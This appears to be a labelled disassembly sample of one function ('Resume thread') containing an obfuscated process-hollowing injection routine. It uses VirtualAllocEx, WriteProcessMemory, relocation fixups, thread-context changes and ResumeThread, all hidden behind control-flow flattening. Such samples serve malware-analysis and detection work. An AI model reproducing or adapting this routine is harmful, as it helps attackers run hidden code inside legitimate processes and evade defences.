Function at 0x140012c57
Capabilities:
Resume thread

Disassembly:
push rax
pushf
mov eax, 0xc4afb15e
pushf
not eax
add eax, 0x9bd59c1e
xor eax, 0xa5ff8409
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x8ec89ef2
xor eax, 0xc06d511b
rol eax, 0x54
popf
cmp eax, 4
jne 0x140012c94
popf
pop rax
jmp 0x140013164
cmp eax, 0
jne 0x140012ca3
popf
pop rax
jmp 0x140012e1a
cmp eax, 3
jne 0x140012cb2
popf
pop rax
jmp 0x140013111
cmp eax, 1
jne 0x140012cc1
popf
pop rax
jmp 0x140012f8d
cmp eax, 0xd
jne 0x140012cd0
popf
pop rax
jmp 0x1400135af
cmp eax, 0x1a
jne 0x140012cdf
popf
pop rax
jmp 0x140013eaf
cmp eax, 0xe
jne 0x140012cee
popf
pop rax
jmp 0x140013672
cmp eax, 0xb
jne 0x140012cfd
popf
pop rax
jmp 0x14001347e
cmp eax, 0x19
jne 0x140012d0c
popf
pop rax
jmp 0x140013e7a
cmp eax, 8
jne 0x140012d1b
popf
pop rax
jmp 0x1400132b1
cmp eax, 0x10
jne 0x140012d2a
popf
pop rax
jmp 0x140013762
cmp eax, 0x17
jne 0x140012d39
popf
pop rax
jmp 0x140013d35
cmp eax, 9
jne 0x140012d48
popf
pop rax
jmp 0x140013320
cmp eax, 0x12
jne 0x140012d57
popf
pop rax
jmp 0x14001399b
cmp eax, 0x18
jne 0x140012d66
popf
pop rax
jmp 0x140013dbf
cmp eax, 0x11
jne 0x140012d75
popf
pop rax
jmp 0x140013834
cmp eax, 5
jne 0x140012d84
popf
pop rax
jmp 0x1400131c0
cmp eax, 0x16
jne 0x140012d93
popf
pop rax
jmp 0x140013c1d
cmp eax, 0xa
jne 0x140012da2
popf
pop rax
jmp 0x1400133f5
cmp eax, 0x14
jne 0x140012db1
popf
pop rax
jmp 0x140013ada
cmp eax, 0xf
jne 0x140012dc0
popf
pop rax
jmp 0x140013721
cmp eax, 0x13
jne 0x140012dcf
popf
pop rax
jmp 0x140013a44
cmp eax, 0x15
jne 0x140012dde
popf
pop rax
jmp 0x140013b12
cmp eax, 2
jne 0x140012ded
popf
pop rax
jmp 0x140013064
cmp eax, 6
jne 0x140012dfc
popf
pop rax
jmp 0x14001324f
cmp eax, 0xc
jne 0x140012e0b
popf
pop rax
jmp 0x140013513
cmp eax, 7
jne 0x140012e1a
popf
pop rax
jmp 0x140013285
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x330
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x328], rax
movsxd r13, dword [rdx + 0x3c]
mov r14, rdx
push rdx
not rdx
sub r13, rdx
pop rdx
sub r13, 1
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x38], r13
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0xc70452d8
pushf
not r9d
add r9d, 0x81b36442
xor r9d, 0xa2c6b559
rol r9d, 0x5e
popf
pushf
not r9d
add r9d, 0xb83cd717
xor r9d, 0x8835a1ec
rol r9d, 0xa
popf
pushf
not r9d
add r9d, 0x9897248f
xor r9d, 0xf11022e9
rol r9d, 0x26
popf
pushf
not r9d
add r9d, 0xe589c52a
xor r9d, 0xd39f71f7
rol r9d, 0xc6
popf
mov r8d, dword [r13 + 0x50]
jmp 0x140012eda
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140012f47
push rax
pushf
mov eax, 0x1cd907d9
pushf
not eax
add eax, 0x96560aec
xor eax, 0xe147e214
rol eax, 0x63
popf
pushf
not eax
add eax, 0x889fa1b1
xor eax, 0xbba1e8c2
rol eax, 0x26
popf
pushf
not eax
add eax, 0x9ed0e20d
xor eax, 0xce5038d7
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa68756a5
xor eax, 0xcf36121b
rol eax, 0x61
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x48aa4cbf
pushf
not eax
add eax, 0x83d5a298
xor eax, 0xf1b7696d
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x9fca8adf
xor eax, 0xb65ff2c7
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xef8ca8a5
xor eax, 0xe6c8c493
rol eax, 0x56
popf
jmp 0x140012c85
mov r9d, dword [r13 + 0x54]
mov ecx, eax
sub ecx, dword [r13 + 0x34]
xor r15d, r15d
mov dword [r13 + 0x34], eax
mov r8, r14
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x320], ecx
mov rcx, qword [r12]
mov qword [rsp + 0x20], r15
jmp 0x140012fb7
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14001301e
push rax
pushf
mov eax, 0x5f927c32
pushf
not eax
add eax, 0xb7e762b5
xor eax, 0xb8098997
rol eax, 0x61
popf
pushf
not eax
add eax, 0xc0bc8a68
xor eax, 0x8febceb2
rol eax, 4
popf
pushf
not eax
add eax, 0x820a8521
xor eax, 0xcdb96c80
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x9c83c735
xor eax, 0xd9a38bc0
rol eax, 0xb1
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0xf62f06da
pushf
not eax
add eax, 0xf5c9d738
xor eax, 0xf82e892b
rol eax, 0x96
popf
pushf
not eax
add eax, 0xffc55bdb
xor eax, 0xb8fedfa5
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe138655f
xor eax, 0x801127ad
rol eax, 0x51
popf
jmp 0x140012c85
movsxd rbx, dword [r14 + 0x3c]
cmp dword [rbx + r14 + 0xa0], r15d
je 0x1400130b8
push rax
pushf
mov eax, 0x1ea73c9d
pushf
not eax
add eax, 0x8c82de47
xor eax, 0xdde23bac
rol eax, 0x59
popf
pushf
not eax
add eax, 0xfbd94d0e
xor eax, 0xeaac2641
rol eax, 0x15
popf
pushf
not eax
add eax, 0xe92ffa7c
xor eax, 0xf62d1fdc
rol eax, 0x51
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x16c2914f
pushf
not eax
add eax, 0xa2fa15da
xor eax, 0xc9c79442
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd4de4791
xor eax, 0xecaa0d8b
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xdf2685e4
xor eax, 0x9b5b75fd
rol eax, 0x20
popf
pushf
not eax
add eax, 0x904e2a4c
xor eax, 0xeb7a3310
rol eax, 0xa6
popf
jmp 0x140012c85
mov rbx, qword [rbx + r14 + 0xa0]
jmp 0x1400131c0
mov rbx, r15
push rax
pushf
mov eax, 0xe24f78fc
pushf
not eax
add eax, 0x8ef0fccf
xor eax, 0xdcaa98d8
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xf4b30f87
xor eax, 0xdcb2f66b
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xe6487ad0
xor eax, 0xc780bc7d
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xb7893542
xor eax, 0xd8356c10
rol eax, 0x48
popf
jmp 0x140012c85
mov rbp, r15
mov qword [rsp + 0x30], rbx
mov esi, r15d
cmp r15w, word [r13 + 6]
jae 0x140013209
push rax
pushf
mov eax, 0x52527093
pushf
not eax
add eax, 0xfb7f7fcb
xor eax, 0xe788e0e0
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x99d33f62
xor eax, 0xa1e6180f
rol eax, 0xb2
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x91695589
pushf
not eax
add eax, 0xe269a96c
xor eax, 0xf4424578
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xfbc7b291
xor eax, 0xe47c85ec
rol eax, 0x92
popf
pushf
not eax
add eax, 0xb118269c
xor eax, 0xd1ae5160
rol eax, 0x83
popf
jmp 0x140012c85
mov rdi, r15
push rax
pushf
mov eax, 0x9538ed02
pushf
not eax
add eax, 0xecf0b7bf
xor eax, 0xe67571e4
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xb6ab76b9
xor eax, 0xf11d603e
rol eax, 0x3b
popf
jmp 0x140012c85
movzx edx, word [r13 + 0x14]
add rdx, 0x18
push rdi
not rdi
sub rdx, rdi
pop rdi
sub rdx, 1
push r13
not r13
sub rdx, r13
pop r13
sub rdx, 1
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140013320
mov ecx, dword [rdx + 8]
push r10
not r10d
sub ecx, r10d
pop r10
sub ecx, 1
cmp ebx, ecx
cmovb rbp, rdx
push rax
pushf
mov eax, 0xee0c4cfc
pushf
not eax
add eax, 0x8fe4be04
xor eax, 0xa38392a4
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x80bb817e
xor eax, 0x95df5c0d
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xd3554d1b
xor eax, 0xde391f51
rol eax, 2
popf
pushf
not eax
add eax, 0xf380f365
xor eax, 0xae7510e0
rol eax, 0xb7
popf
jmp 0x140012c85
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
push r14
not r14
sub r8, r14
pop r14
sub r8, 1
mov rcx, qword [r12]
mov rdx, r10
add rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], r15
jmp 0x140013348
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14001339c
push rax
pushf
mov eax, 0xdda88ec5
pushf
not eax
add eax, 0xc6b7862a
xor eax, 0xa072346d
rol eax, 0xac
popf
pushf
not eax
add eax, 0x9ac696fe
xor eax, 0xf9ac0f4a
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xa40fa502
xor eax, 0xd3277051
rol eax, 0x27
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0xc7b88352
pushf
not eax
add eax, 0xff401191
xor eax, 0xe54969cb
rol eax, 0xd
popf
pushf
not eax
add eax, 0x91cd1b10
xor eax, 0xe6b9d15e
rol eax, 0xad
popf
pushf
not eax
add eax, 0xc42978da
xor eax, 0xf6c2827f
rol eax, 0x93
popf
pushf
not eax
add eax, 0xfae942d8
xor eax, 0x93756960
rol eax, 0xcf
popf
jmp 0x140012c85
movzx eax, word [r13 + 6]
jmp 0x1400133fb
inc esi
add rdi, 0x28
cmp esi, eax
jl 0x140013438
push rax
pushf
mov eax, 0xf588a30d
pushf
not eax
add eax, 0xd4c2a49e
xor eax, 0x9ceb3443
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xb2984490
xor eax, 0xd04b354b
rol eax, 0xa8
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x224d7024
pushf
not eax
add eax, 0xd6269063
xor eax, 0xdadfee8f
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x80478776
xor eax, 0xb5d574d3
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc95904b4
xor eax, 0x84f60c34
rol eax, 0x95
popf
jmp 0x140012c85
test rbp, rbp
je 0x1400134ba
push rax
pushf
mov eax, 0x83a06c7b
pushf
not eax
add eax, 0xb36c79af
xor eax, 0x991b77f8
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xa0193117
xor eax, 0xc89ea560
rol eax, 0x54
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x9709f7d4
pushf
not eax
add eax, 0xe6eacce5
xor eax, 0xd1c892be
rol eax, 0x33
popf
pushf
not eax
add eax, 0x9a0a367f
xor eax, 0xfe211d73
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xa9624c11
xor eax, 0xf1c15602
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xc280a904
xor eax, 0xd30aa528
rol eax, 0xf3
popf
jmp 0x140012c85
xor r8d, r8d
mov ebx, r8d
cmp dword [rsp + 0x34], ebx
jbe 0x14001357c
push rax
pushf
mov eax, 0x9f3c36e7
pushf
not eax
add eax, 0xb6d1c175
xor eax, 0x872437d9
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x927d11bc
xor eax, 0xd4639fca
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xa5079b30
xor eax, 0x830ff595
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xa1a28c45
xor eax, 0x8b5d1884
rol eax, 0x90
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0xc47bb7d0
pushf
not eax
add eax, 0xbbc7c116
xor eax, 0x965241fe
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xba7bd133
xor eax, 0xd23f3fbc
rol eax, 0x27
popf
jmp 0x140012c85
mov r13d, dword [rsp + 0x320]
mov r9d, 0x8bd11245
pushf
not r9d
add r9d, 0xa8f0e7fe
xor r9d, 0x9ea4bd3a
rol r9d, 0xce
popf
pushf
not r9d
add r9d, 0x8813fd58
xor r9d, 0xc956e8b5
rol r9d, 0x9c
popf
pushf
not r9d
add r9d, 0xd0710a8f
xor r9d, 0xcc089857
rol r9d, 0x67
popf
pushf
not r9d
add r9d, 0xe66ebd73
xor r9d, 0xcf73320f
rol r9d, 0xd7
popf
nop word [rax + rax]
push rax
pushf
mov eax, 0x5b3e6894
pushf
not eax
add eax, 0xccff777f
xor eax, 0x9af8956f
rol eax, 0x11
popf
pushf
not eax
add eax, 0xdf15a8c7
xor eax, 0xf7f4341e
rol eax, 0x28
popf
pushf
not eax
add eax, 0xc254818a
xor eax, 0xb46e342a
rol eax, 0xc5
popf
jmp 0x140012c85
mov eax, dword [rbp + 0x14]
push r14
not r14
sub rax, r14
pop r14
sub rax, 1
mov r15d, ebx
push rax
not rax
sub r15, rax
pop rax
sub r15, 1
add ebx, 8
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x1400136db
push rax
pushf
mov eax, 0xed52e88d
pushf
not eax
add eax, 0xf315904d
xor eax, 0xc0d76d05
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xed1f917a
xor eax, 0x95c6ed00
rol eax, 0x7a
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x4fdcc453
pushf
not eax
add eax, 0x94e413bc
xor eax, 0x8c9ff74e
rol eax, 0x80
popf
pushf
not eax
add eax, 0xe3305c81
xor eax, 0xab7ebbae
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x800ac142
xor eax, 0x96a47702
rol eax, 0x35
popf
jmp 0x140012c85
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x103df3e9
pushf
not eax
add eax, 0xff932893
xor eax, 0xa5e688a5
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xab1e0fa3
xor eax, 0xa80362b3
rol eax, 0x11
popf
jmp 0x140012c85
mov eax, dword [rbp + 0x14]
push r14
not r14
sub rax, r14
pop r14
sub rax, 1
mov ecx, ebx
add ebx, 2
movzx edx, word [rcx + rax]
cmp dx, r9w
jb 0x1400137db
push rax
pushf
mov eax, 0xda29bf95
pushf
not eax
add eax, 0xcaac2ab5
xor eax, 0xaeb25473
rol eax, 0x77
popf
pushf
not eax
add eax, 0xcbfb8677
xor eax, 0xd4c195ba
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe4bd592b
xor eax, 0xc0b53ab6
rol eax, 0x49
popf
pushf
not eax
add eax, 0xc12da910
xor eax, 0xa76c75ae
rol eax, 0x61
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0xaaf9a78b
pushf
not eax
add eax, 0xa0f32ece
xor eax, 0xde0761f0
rol eax, 0x38
popf
pushf
not eax
add eax, 0xdff19113
xor eax, 0xb1640f27
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xc800bd48
xor eax, 0xe057936e
rol eax, 0x96
popf
pushf
not eax
add eax, 0xcc684f8a
xor eax, 0xe8cef888
rol eax, 0xba
popf
jmp 0x140012c85
mov rcx, qword [rsp + 0x40]
and edx, 0xfff
mov edi, dword [r15]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
push rcx
not rcx
sub rdi, rcx
pop rcx
sub rdi, 1
mov dword [rsp + 0x320], r8d
mov rcx, qword [r12]
mov rdx, rdi
mov qword [rsp + 0x20], r8
mov r9d, 0xe48b4a85
pushf
not r9d
add r9d, 0xd86d3732
xor r9d, 0xe973b90d
rol r9d, 0x58
popf
pushf
not r9d
add r9d, 0x814a50a0
xor r9d, 0xe02fbe4e
rol r9d, 0xc0
popf
lea r8, [rsp + 0x320]
jmp 0x1400138af
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [r12]
lea r8, [rsp + 0x320]
add dword [rsp + 0x320], r13d
mov r9d, 0x6064767e
pushf
not r9d
add r9d, 0x8632cf79
xor r9d, 0xfc2b408a
rol r9d, 0xdc
popf
pushf
not r9d
add r9d, 0xbc2dca48
xor r9d, 0xaecf78c0
rol r9d, 0xec
popf
mov rdx, rdi
mov qword [rsp + 0x20], 0
jmp 0x14001390e
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov r9d, 0x73ae4afe
pushf
not r9d
add r9d, 0xc1c6fccc
xor r9d, 0xbeefd53e
rol r9d, 0x36
popf
pushf
not r9d
add r9d, 0xcc21a3af
xor r9d, 0xe83da733
rol r9d, 0x56
popf
pushf
not r9d
add r9d, 0x8e75e926
xor r9d, 0xd4dc62f5
rol r9d, 0xfe
popf
push rax
pushf
mov eax, 0x504a461d
pushf
not eax
add eax, 0x9baf8991
xor eax, 0x9f9b603c
rol eax, 0x28
popf
pushf
not eax
add eax, 0xd8957228
xor eax, 0xd8322253
rol eax, 0xab
popf
jmp 0x140012c85
sub rsi, 1
jne 0x1400139eb
push rax
pushf
mov eax, 0x5d3cd1c2
pushf
not eax
add eax, 0xfe150950
xor eax, 0xead6320b
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xb6b17d48
xor eax, 0xa183a3e9
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xebfcb1d7
xor eax, 0xccbdd516
rol eax, 0xa
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x53b4c07b
pushf
not eax
add eax, 0xf4ea3b98
xor eax, 0xce423816
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xa36ebdfd
xor eax, 0xacf59220
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xe8d52290
xor eax, 0xe12dc0f3
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x876e242d
xor eax, 0xc891833b
rol eax, 0x2f
popf
jmp 0x140012c85
cmp ebx, dword [rsp + 0x34]
jb 0x140013a81
push rax
pushf
mov eax, 0x46a3c4fd
pushf
not eax
add eax, 0xf8214cc8
xor eax, 0xdee77dc8
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xb93f321b
xor eax, 0xfabe8234
rol eax, 0x38
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0xc55c7469
pushf
not eax
add eax, 0xd98662be
xor eax, 0xeb72baf5
rol eax, 4
popf
pushf
not eax
add eax, 0xa03cad35
xor eax, 0xcaa34cb0
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd4d187c9
xor eax, 0x97a623a4
rol eax, 0x45
popf
pushf
not eax
add eax, 0xf3178b80
xor eax, 0xa1d70b65
rol eax, 0xbf
popf
jmp 0x140012c85
mov r13, qword [rsp + 0x38]
push rax
pushf
mov eax, 0x85f1c7b1
pushf
not eax
add eax, 0xab3d0321
xor eax, 0xfc1c5d49
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd0080b85
xor eax, 0x9ed155c9
rol eax, 0x18
popf
jmp 0x140012c85
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x61665701
pushf
not r8d
add r8d, 0xeab7ca1d
xor r8d, 0xa657be06
rol r8d, 0xd9
popf
pushf
not r8d
add r8d, 0xecce1221
xor r8d, 0xb57edaa5
rol r8d, 1
popf
pushf
not r8d
add r8d, 0xea3998ad
xor r8d, 0xdd9e19be
rol r8d, 0x92
popf
pushf
not r8d
add r8d, 0xea27d4be
xor r8d, 0x8bc7cea6
rol r8d, 0xcb
popf
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
jmp 0x140013b9a
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140013bea
push rax
pushf
mov eax, 0x358123ce
pushf
not eax
add eax, 0xcafea88b
xor eax, 0xafad6e62
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x89c75d8e
xor eax, 0xcc91dbc3
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xb76a1720
xor eax, 0xb59b0c90
rol eax, 3
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x1f47a9e7
pushf
not eax
add eax, 0xebbb2c8f
xor eax, 0xbe77fa23
rol eax, 0x71
popf
pushf
not eax
add eax, 0xbafd5cfd
xor eax, 0xc9f478ed
rol eax, 0x60
popf
jmp 0x140012c85
mov edx, dword [rsp + 0xf4]
lea r8, [rsp + 0x40]
mov rcx, qword [r12]
add rdx, 8
mov r9d, 0x571be19
pushf
not r9d
add r9d, 0x8695fbb0
xor r9d, 0xf8e44d22
rol r9d, 0xb6
popf
pushf
not r9d
add r9d, 0x9bfc93cc
xor r9d, 0xe7c28639
rol r9d, 0x82
popf
pushf
not r9d
add r9d, 0xfc9de610
xor r9d, 0xd82b4eb5
rol r9d, 0xfa
popf
mov qword [rsp + 0x20], 0
jmp 0x140013c8c
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140013cdc
push rax
pushf
mov eax, 0xab2a9127
pushf
not eax
add eax, 0x8c7bb711
xor eax, 0x90df7c32
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x867a47b9
xor eax, 0xacfdbaf1
rol eax, 0x66
popf
pushf
not eax
add eax, 0xfd7f5116
xor eax, 0xf53404d2
rol eax, 0xb5
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0x452c735e
pushf
not eax
add eax, 0xe8a88d2c
xor eax, 0xa1a8582f
rol eax, 0x84
popf
pushf
not eax
add eax, 0x843ae451
xor eax, 0xd34c79c6
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xfad5877c
xor eax, 0xf10b4622
rol eax, 0x77
popf
pushf
not eax
add eax, 0x850c0a79
xor eax, 0xaefcd4bc
rol eax, 0xfe
popf
jmp 0x140012c85
mov ecx, dword [r13 + 0x28]
lea rdx, [rsp + 0x50]
add ecx, dword [rsp + 0x40]
mov dword [rsp + 0x100], ecx
mov rcx, qword [r12 + 8]
jmp 0x140013d4f
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140013d8c
push rax
pushf
mov eax, 0x991c782f
pushf
not eax
add eax, 0x82b6e844
xor eax, 0x8d9031eb
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xcb97bd02
xor eax, 0xcccfa8be
rol eax, 0x3d
popf
jmp 0x140012c85
push rax
pushf
mov eax, 0xe98d1ce9
pushf
not eax
add eax, 0xa41e8f9e
xor eax, 0xd705b713
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x8792693b
xor eax, 0xfc438291
rol eax, 0xb9
popf
jmp 0x140012c85
mov rcx, qword [r12 + 8]
jmp 0x140013dc5
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 0x77ae256d
pushf
not eax
add eax, 0x88814ca7
xor eax, 0xabcb3167
rol eax, 0xa
popf
pushf
not eax
add eax, 0xdebf4484
xor eax, 0xe3fae6a0
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xc723671f
xor eax, 0xf9498196
rol eax, 0xab
popf
pushf
not eax
add eax, 0xc74ee305
xor eax, 0x95b9ea39
rol eax, 0x31
popf
jmp 0x140013eaf
xor eax, eax
push rax
pushf
mov eax, 0x423e5a20
pushf
not eax
add eax, 0xeca84705
xor eax, 0x856b1def
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xc18f4b3f
xor eax, 0xb5c61e82
rol eax, 0x31
popf
jmp 0x140012c85
mov rcx, qword [rsp + 0x328]
xor rcx, rsp
call fcn.14000fff1
mov rbx, qword [rsp + 0x380]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret